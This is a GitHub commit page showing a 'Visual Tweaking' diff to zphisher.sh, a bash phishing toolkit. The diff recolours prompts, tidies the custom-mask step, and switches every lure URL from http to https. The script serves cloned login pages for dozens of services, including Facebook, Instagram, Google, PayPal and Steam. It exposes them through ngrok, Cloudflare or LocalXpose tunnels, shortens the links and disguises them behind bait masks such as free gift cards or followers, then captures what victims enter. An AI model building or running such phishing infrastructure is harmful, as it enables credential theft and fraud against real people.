Skip to content

Commit

Permalink
Visual Tweaking
Browse files Browse the repository at this point in the history
  • Loading branch information
htr-tech committed Oct 18, 2022
1 parent 28cfe68 commit da005ce
Showing 1 changed file with 56 additions and 68 deletions.
124 changes: 56 additions & 68 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -412,7 +412,7 @@ cusport() {
echo
else
echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}"
{ sleep 2; clear; banner; cusport; }
{ sleep 2; clear; banner_small; cusport; }
fi
else
echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port $PORT...${WHITE}\n"
Expand Down Expand Up @@ -488,11 +488,6 @@ start_ngrok() {
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)')
custom_url "$ngrok_url"
capture_data

# ngrok_url1=${ngrok_url#https://}
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url"
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$ngrok_url1"
# capture_data
}

## Start Cloudflared
Expand All @@ -513,11 +508,6 @@ start_cloudflared() {
cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log")
custom_url "$cldflr_url"
capture_data

# cldflr_link1=${cldflr_link#https://}
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link"
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$cldflr_link1"
# capture_data
}

localxpose_auth() {
Expand All @@ -543,7 +533,7 @@ start_loclx() {
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
{ sleep 1; setup_site; localxpose_auth; }
echo -e "\n"
read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
[[ ${opinion,,} == "y" ]] && loclx_region="eu" || loclx_region="us"
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..."

Expand All @@ -557,10 +547,6 @@ start_loclx() {
loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io')
custom_url "$loclx_url"
capture_data

# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}http://$loclx_url"
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$loclx_url"
# capture_data
}

## Start localhost
Expand Down Expand Up @@ -604,17 +590,17 @@ tunnel_menu() {

## Custom Mask URL
custom_mask() {
echo
read -n1 -p "Do you want to change Mask URL? [y/N] : " mask_op
{ sleep .5; clear; banner_small; echo; }
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op
echo
if [[ ${mask_op,,} == "y" ]]; then
echo -e "\nEnter Your custom url below (example: https://get-free-followers.com)\n"
read -e -p "=> " -i "https://" mask_url # initial text requires Bash 4+
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n"
read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+
if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex
mask=$mask_url
echo -e "\nUsing custom Masked Url : $mask"
echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask"
else
echo -e "\nInvalid url type..Using the Default one.."
echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.."
fi
fi
}
Expand All @@ -638,6 +624,7 @@ custom_url() {
shortcode="https://api.shrtco.de/v2/shorten?url="
tinyurl="https://tinyurl.com/api-create.php?url="

{ custom_mask; sleep 1; clear; banner_small; }
if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then
if [[ $(site_stat $isgd) == 2* ]]; then
shorten $isgd "$url"
Expand All @@ -647,7 +634,6 @@ custom_url() {
shorten $tinyurl "$url"
fi

{ custom_mask; sleep 1; clear; banner_small; }
url="https://$url"
masked_url="$mask@$processed_url"
processed_url="https://$processed_url"
Expand All @@ -656,8 +642,10 @@ custom_url() {
url="Unable to generate links. Try after turning on hotspot"
processed_url="Unable to Short URL"
fi
echo -e "\nUrl 1: $url\nUrl 2: $processed_url"
[[ $processed_url != *"Unable"* ]] && echo "Url 3: $masked_url"

echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$url"
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${ORANGE}$processed_url"
[[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url"
}

## Facebook
Expand All @@ -676,19 +664,19 @@ site_facebook() {
case $REPLY in
1 | 01)
website="facebook"
mask='http://blue-verified-badge-for-facebook-free'
mask='https://blue-verified-badge-for-facebook-free'
tunnel_menu;;
2 | 02)
website="fb_advanced"
mask='http://vote-for-the-best-social-media'
mask='https://vote-for-the-best-social-media'
tunnel_menu;;
3 | 03)
website="fb_security"
mask='http://make-your-facebook-secured-and-free-from-hackers'
mask='https://make-your-facebook-secured-and-free-from-hackers'
tunnel_menu;;
4 | 04)
website="fb_messenger"
mask='http://get-messenger-premium-features-free'
mask='https://get-messenger-premium-features-free'
tunnel_menu;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
Expand All @@ -712,19 +700,19 @@ site_instagram() {
case $REPLY in
1 | 01)
website="instagram"
mask='http://get-unlimited-followers-for-instagram'
mask='https://get-unlimited-followers-for-instagram'
tunnel_menu;;
2 | 02)
website="ig_followers"
mask='http://get-unlimited-followers-for-instagram'
mask='https://get-unlimited-followers-for-instagram'
tunnel_menu;;
3 | 03)
website="insta_followers"
mask='http://get-1000-followers-for-instagram'
mask='https://get-1000-followers-for-instagram'
tunnel_menu;;
4 | 04)
website="ig_verify"
mask='http://blue-badge-verify-for-instagram-free'
mask='https://blue-badge-verify-for-instagram-free'
tunnel_menu;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
Expand All @@ -747,15 +735,15 @@ site_gmail() {
case $REPLY in
1 | 01)
website="google"
mask='http://get-unlimited-google-drive-free'
mask='https://get-unlimited-google-drive-free'
tunnel_menu;;
2 | 02)
website="google_new"
mask='http://get-unlimited-google-drive-free'
mask='https://get-unlimited-google-drive-free'
tunnel_menu;;
3 | 03)
website="google_poll"
mask='http://vote-for-the-best-social-media'
mask='https://vote-for-the-best-social-media'
tunnel_menu;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
Expand All @@ -777,11 +765,11 @@ site_vk() {
case $REPLY in
1 | 01)
website="vk"
mask='http://vk-premium-real-method-2020'
mask='https://vk-premium-real-method-2020'
tunnel_menu;;
2 | 02)
website="vk_poll"
mask='http://vote-for-the-best-social-media'
mask='https://vote-for-the-best-social-media'
tunnel_menu;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
Expand Down Expand Up @@ -823,125 +811,125 @@ main_menu() {
site_gmail;;
4 | 04)
website="microsoft"
mask='http://unlimited-onedrive-space-for-free'
mask='https://unlimited-onedrive-space-for-free'
tunnel_menu;;
5 | 05)
website="netflix"
mask='http://upgrade-your-netflix-plan-free'
mask='https://upgrade-your-netflix-plan-free'
tunnel_menu;;
6 | 06)
website="paypal"
mask='http://get-500-usd-free-to-your-acount'
mask='https://get-500-usd-free-to-your-acount'
tunnel_menu;;
7 | 07)
website="steam"
mask='http://steam-500-usd-gift-card-free'
mask='https://steam-500-usd-gift-card-free'
tunnel_menu;;
8 | 08)
website="twitter"
mask='http://get-blue-badge-on-twitter-free'
mask='https://get-blue-badge-on-twitter-free'
tunnel_menu;;
9 | 09)
website="playstation"
mask='http://playstation-500-usd-gift-card-free'
mask='https://playstation-500-usd-gift-card-free'
tunnel_menu;;
10)
website="tiktok"
mask='http://tiktok-free-liker'
mask='https://tiktok-free-liker'
tunnel_menu;;
11)
website="twitch"
mask='http://unlimited-twitch-tv-user-for-free'
mask='https://unlimited-twitch-tv-user-for-free'
tunnel_menu;;
12)
website="pinterest"
mask='http://get-a-premium-plan-for-pinterest-free'
mask='https://get-a-premium-plan-for-pinterest-free'
tunnel_menu;;
13)
website="snapchat"
mask='http://view-locked-snapchat-accounts-secretly'
mask='https://view-locked-snapchat-accounts-secretly'
tunnel_menu;;
14)
website="linkedin"
mask='http://get-a-premium-plan-for-linkedin-free'
mask='https://get-a-premium-plan-for-linkedin-free'
tunnel_menu;;
15)
website="ebay"
mask='http://get-500-usd-free-to-your-acount'
mask='https://get-500-usd-free-to-your-acount'
tunnel_menu;;
16)
website="quora"
mask='http://quora-premium-for-free'
mask='https://quora-premium-for-free'
tunnel_menu;;
17)
website="protonmail"
mask='http://protonmail-pro-basics-for-free'
mask='https://protonmail-pro-basics-for-free'
tunnel_menu;;
18)
website="spotify"
mask='http://convert-your-account-to-spotify-premium'
mask='https://convert-your-account-to-spotify-premium'
tunnel_menu;;
19)
website="reddit"
mask='http://reddit-official-verified-member-badge'
mask='https://reddit-official-verified-member-badge'
tunnel_menu;;
20)
website="adobe"
mask='http://get-adobe-lifetime-pro-membership-free'
mask='https://get-adobe-lifetime-pro-membership-free'
tunnel_menu;;
21)
website="deviantart"
mask='http://get-500-usd-free-to-your-acount'
mask='https://get-500-usd-free-to-your-acount'
tunnel_menu;;
22)
website="badoo"
mask='http://get-500-usd-free-to-your-acount'
mask='https://get-500-usd-free-to-your-acount'
tunnel_menu;;
23)
website="origin"
mask='http://get-500-usd-free-to-your-acount'
mask='https://get-500-usd-free-to-your-acount'
tunnel_menu;;
24)
website="dropbox"
mask='http://get-1TB-cloud-storage-free'
mask='https://get-1TB-cloud-storage-free'
tunnel_menu;;
25)
website="yahoo"
mask='http://grab-mail-from-anyother-yahoo-account-free'
mask='https://grab-mail-from-anyother-yahoo-account-free'
tunnel_menu;;
26)
website="wordpress"
mask='http://unlimited-wordpress-traffic-free'
mask='https://unlimited-wordpress-traffic-free'
tunnel_menu;;
27)
website="yandex"
mask='http://grab-mail-from-anyother-yandex-account-free'
mask='https://grab-mail-from-anyother-yandex-account-free'
tunnel_menu;;
28)
website="stackoverflow"
mask='http://get-stackoverflow-lifetime-pro-membership-free'
mask='https://get-stackoverflow-lifetime-pro-membership-free'
tunnel_menu;;
29)
site_vk;;
30)
website="xbox"
mask='http://get-500-usd-free-to-your-acount'
mask='https://get-500-usd-free-to-your-acount'
tunnel_menu;;
31)
website="mediafire"
mask='http://get-1TB-on-mediafire-free'
mask='https://get-1TB-on-mediafire-free'
tunnel_menu;;
32)
website="gitlab"
mask='http://get-1k-followers-on-gitlab-free'
mask='https://get-1k-followers-on-gitlab-free'
tunnel_menu;;
33)
website="github"
mask='http://get-1k-followers-on-github-free'
mask='https://get-1k-followers-on-github-free'
tunnel_menu;;
34)
website="discord"
mask='http://get-discord-nitro-free'
mask='https://get-discord-nitro-free'
tunnel_menu;;
99)
about;;
Expand Down

0 comments on commit da005ce

Please sign in to comment.